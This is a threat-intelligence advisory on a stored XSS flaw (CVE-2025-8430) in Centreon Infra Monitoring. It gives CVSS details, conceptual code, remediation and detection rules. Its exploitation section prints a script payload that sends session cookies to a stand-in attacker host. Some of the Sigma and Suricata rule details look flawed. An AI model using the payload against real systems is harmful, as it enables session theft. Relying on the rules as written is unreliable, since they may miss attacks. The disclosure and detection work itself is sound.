CVE-2025-8430

Executive Summary

CVE-2025-8430 is a Stored Cross-Site Scripting (XSS) vulnerability in Centreon Infra Monitoring, specifically within the Commands Connectors configuration modules. An attacker with elevated privileges can inject malicious scripts into the web interface, which are then stored and executed in the browsers of other users (including other administrators) who view the affected configuration pages. This can lead to session hijacking, credential theft, or further lateral movement within the monitored infrastructure. The vulnerability affects versions 23.10.0 through 23.10.27, 24.04.0 through 24.04.17, and 24.10.0 through 24.10.12. The CVSS score is 6.8 (Medium), and no public exploit code or proof-of-concept is currently available. The vendor has released patched versions, and immediate upgrade is recommended.

CVSS Breakdown & Threat Level

• CVSS Score: 6.8 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L
• Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely over the network.
• Attack Complexity (AC): Low (L) – No special conditions are required for exploitation.
• Privileges Required (PR): High (H) – The attacker must have elevated privileges (e.g., administrator) to access the Commands Connectors configuration.
• User Interaction (UI): Required (R) – The victim must interact with the malicious content (e.g., view the configuration page).
• Scope (S): Changed (C) – The impact extends beyond the vulnerable component, potentially affecting other parts of the application.
• Confidentiality (C): Low (L) – Limited information disclosure.
• Integrity (I): Low (L) – Limited ability to modify data.
• Availability (A): Low (L) – Limited impact on service availability.

Threat Level: Medium. While the CVSS score is moderate, the requirement for elevated privileges reduces the attack surface. However, once an attacker gains such privileges, the stored XSS can be used to compromise other high-privilege users, potentially leading to full system compromise.

Deep Dive & Mechanics

The vulnerability resides in the "Commands Connectors" configuration module of Centreon Infra Monitoring. This module allows administrators to define custom commands and connectors for monitoring various infrastructure components. The input fields for these configurations are not properly sanitized or encoded before being stored in the database and later rendered in the web interface.

Attack Flow:

1. An attacker with administrative access to Centreon navigates to the Commands Connectors configuration page.
2. The attacker injects a malicious JavaScript payload into one of the input fields (e.g., command name, description, or parameter).
3. The payload is stored in the Centreon database without proper sanitization.
4. When another administrator (or any user with access to that configuration page) views the affected connector, the malicious script executes in their browser.
5. The script can perform actions such as:
   • Stealing session cookies (if not HttpOnly).
   • Capturing keystrokes.
   • Modifying the page content (e.g., changing monitoring thresholds).
   • Making API calls on behalf of the victim.

Root Cause: The application fails to neutralize input during web page generation (CWE-79). Specifically, it does not apply context-aware output encoding when rendering user-supplied data in HTML/JavaScript contexts.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// In a PHP file that renders the connector configuration
echo "<input type='text' name='connector_name' value='" . $_POST['connector_name'] . "'>";

Patched Code (Conceptual):

// Using a proper escaping function
echo "<input type='text' name='connector_name' value='" . htmlspecialchars($_POST['connector_name'], ENT_QUOTES, 'UTF-8') . "'>";

The patched version uses htmlspecialchars() (or equivalent) to encode special HTML characters, preventing script injection. The exact fix may involve additional context-aware encoding depending on where the data is rendered (e.g., JavaScript, CSS, URL).

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Administrative access to Centreon Infra Monitoring (version 23.10.x, 24.04.x, or 24.10.x before the patch).
• Access to the Commands Connectors configuration page.

Exploitation Steps:

1. Log in to Centreon as an administrator.
2. Navigate to Configuration > Commands > Connectors.
3. Click "Add" or edit an existing connector.
4. In the "Name" or "Description" field, inject a payload such as:

   <script>alert('XSS')</script>
   

   For a more sophisticated attack:

   <script>
   fetch('https://attacker.com/steal?cookie=' + document.cookie);
   </script>
   

5. Save the connector.
6. When another administrator views the connector list or details, the script executes.

Note: No public exploit code is available. The above is a conceptual demonstration.

Blue Team (Detection & Prevention)

Detection:

• Monitor for unusual input patterns in the Commands Connectors configuration fields (e.g., <script>, onerror=, javascript:).
• Review web server logs for requests containing XSS payloads in POST parameters.
• Use a Web Application Firewall (WAF) to block common XSS patterns.

Prevention:

• Apply the vendor patch immediately.
• Implement Content Security Policy (CSP) headers to restrict script execution.
• Enforce the principle of least privilege; limit who can modify connector configurations.
• Conduct regular security audits of custom configurations.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound HTTP requests to unknown or suspicious domains from the Centreon server.
  • Unusual JavaScript files being loaded from external sources.
• Host IOCs:
  • Presence of <script> tags or event handlers (e.g., onload, onerror) in the database fields for connectors.
  • Modified or new connector configurations containing suspicious HTML/JavaScript.
• Log IOCs:
  • Web server logs showing POST requests to /centreon/api/.../commands/connectors with payloads containing <script> or javascript:.
  • Application logs indicating failed validation attempts (if logging is enabled).

Detection Engineering

YARA Rule

rule CVE_2025_8430_Stored_XSS_Centreon {
    meta:
        description = "Detects stored XSS payloads in Centreon Commands Connectors configuration"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-8430"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /on\w+\s*=\s*["']?[^"'\s>]+/is
        $xss3 = /javascript\s*:/is
    condition:
        any of them
}

Sigma Rule

title: CVE-2025-8430 - Stored XSS in Centreon Commands Connectors
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit stored XSS in Centreon Infra Monitoring by injecting malicious scripts into connector configuration fields.
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-8430
logsource:
    category: webserver
    product: apache
    service: http
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/centreon/api/'
        cs-uri-query|contains: '/commands/connectors'
    keywords:
        - '<script'
        - 'onerror='
        - 'javascript:'
    condition: selection and keywords
falsepositives:
    - Legitimate use of JavaScript in connector descriptions (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-8430 - Centreon Stored XSS Payload"; flow:to_server,established; content:"POST"; http_method; content:"/centreon/api/"; http_uri; content:"/commands/connectors"; http_uri; pcre:"/<script[^>]*>.*?<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Centreon Infra Monitoring to the patched versions:
   • 23.10.28 or later
   • 24.04.18 or later
   • 24.10.13 or later
2. If immediate upgrade is not possible, restrict access to the Commands Connectors configuration page to only essential personnel.
3. Review all existing connector configurations for signs of tampering.

Long-term Measures:

• Implement a Web Application Firewall (WAF) with XSS protection rules.
• Enforce Content Security Policy (CSP) headers.
• Conduct regular security training for administrators on secure configuration practices.
• Perform periodic code reviews and penetration testing.

Valters IT Signature This report was generated by Valters IT Cyber Threat Intelligence. For questions, contact intelligence@valters-it.com.